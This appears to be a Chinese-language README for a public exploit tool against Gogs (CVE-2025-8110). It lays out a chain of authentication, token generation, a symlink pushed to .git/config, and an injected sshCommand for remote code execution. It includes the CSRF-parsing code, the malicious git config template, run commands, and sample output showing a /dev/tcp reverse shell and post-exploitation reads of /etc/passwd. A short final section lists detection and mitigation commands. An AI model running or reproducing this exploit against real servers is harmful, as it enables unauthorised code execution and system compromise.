requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0

git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt

CVE-2025-8110/
├── CVE-2025-8110.py    # 主漏洞利用脚本
├── requirements.txt    # Python 依赖列表
└── README.md          # 文档

python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123

python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x

python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v

┌─────────────────────────────────────────────────────────────────────────────┐
│                    CVE-2025-8110 漏洞利用链                                 │
└─────────────────────────────────────────────────────────────────────────────┘

步骤 1：身份验证
├── 访问 /user/login
├── 从登录页面提取 CSRF 令牌
├── 使用 CSRF 令牌提交凭据
└── 建立已验证的会话

步骤 2：生成应用令牌
├── 访问 /user/settings/applications
├── 从设置页面提取 CSRF 令牌
├── 生成新的应用令牌
└── 从响应中提取令牌

步骤 3：创建恶意仓库
├── 通过 API 创建仓库，使用 auto_init
├── 生成随机仓库名称
└── 获取仓库 URL

步骤 4：上传符号链接
├── 本地克隆仓库
├── 创建指向 .git/config 的符号链接
├── 添加、提交并推送更改
└── 验证上传成功

步骤 5：RCE 利用
├── 构造包含 sshCommand 的恶意 .git/config
├── 将配置内容进行 Base64 编码
├── 通过 API 上传到符号链接目标
└── 触发命令执行

步骤 6：反向 shell
├── 与攻击者主机建立连接
├── 交互式 shell 访问
└── 在目标上执行命令

def extract_csrf(html_text):
    """从隐藏输入中解析 CSRF 令牌，包含多种备用方法。"""
    # 方法 1：名称为 _csrf 的输入
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name='_csrf']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # 方法 2：名称为 csrf_token 的输入
    token_input = soup.select_one("input[name='csrf_token']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # 方法 3：包含 CSRF 的 meta 标签
    meta_tag = soup.find("meta", {"name": "_csrf"})
    if meta_tag and meta_tag.get("content"):
        return meta_tag.get("content")
    
    # 方法 4：script 标签中的正则模式
    pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
    match = re.search(pattern, html_text)
    if match:
        return match.group(1)
    
    # 方法 5：隐藏输入的正则
    pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
    match = re.search(pattern, html_text, re.IGNORECASE)
    if match:
        return match.group(1)
    
    raise ValueError("表单响应中未找到 CSRF 令牌")

git_config = f"""[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
  sshCommand = {command}
[remote "origin"]
        url = git@localhost:gogs/{repo_name}.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
"""

# 攻击者机器 (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)

# 执行漏洞利用
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123

[INFO] 开始 CVE-2025-8110 漏洞利用
[INFO] 目标 URL: https://gogs.internal.local
[INFO] 攻击者主机: 10.10.14.15:4444
[INFO] 用户名: admin

[INFO] 正在向 Gogs 进行身份验证...
[INFO] 登录 CSRF 令牌已找到: abc123def456...
[SUCCESS] 身份验证成功

[INFO] 正在获取应用令牌...
[INFO] 设置 CSRF 令牌已找到: xyz789uvw012...
[SUCCESS] 应用令牌: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0

[INFO] 正在创建恶意仓库...
[SUCCESS] 仓库已创建: 6f7e8d9c0a1b

[INFO] 正在上传恶意符号链接...
[INFO] 正在克隆仓库...
[INFO] 正在创建符号链接: malicious_link -> .git/config
[INFO] 正在提交并推送更改...
[SUCCESS] 符号链接上传成功

[INFO] 正在发送漏洞载荷...
[SUCCESS] 载荷已发送，请检查你的监听器！

[INFO] 命令: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] 漏洞利用可能成功（超时表示反向 shell 已建立）

Connection received on 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

# 访问 Gogs 网页界面并查看页脚
# 或者使用 API
curl https://gogs.example.com/api/v1/version

# 限制对 Gogs API 的访问
iptables -A INPUT -p tcp --dport 3000 -s trusted_subnet -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP

# 检查 Gogs 访问日志中是否存在 API 利用
grep "/api/v1/repos" /var/log/gogs/access.log | grep PUT

# 监控仓库中是否创建了符号链接
find /home/gogs/gogs-repositories -type l

# 检查是否存在可疑的 git 配置修改
grep -r "sshCommand" /home/gogs/gogs-repositories/

# 监控出站连接
ss -tunp | grep gogs

{
  "event_type": "gogs_api_access",
  "severity": "high",
  "indicators": [
    "PUT /api/v1/repos/*/contents/*",
    "git 配置中包含 sshCommand",
    "随机十六进制仓库名称"
  ],
  "recommended_actions": [
    "审查仓库创建日志",
    "检查符号链接文件",
    "验证 API 访问模式"
  ]
}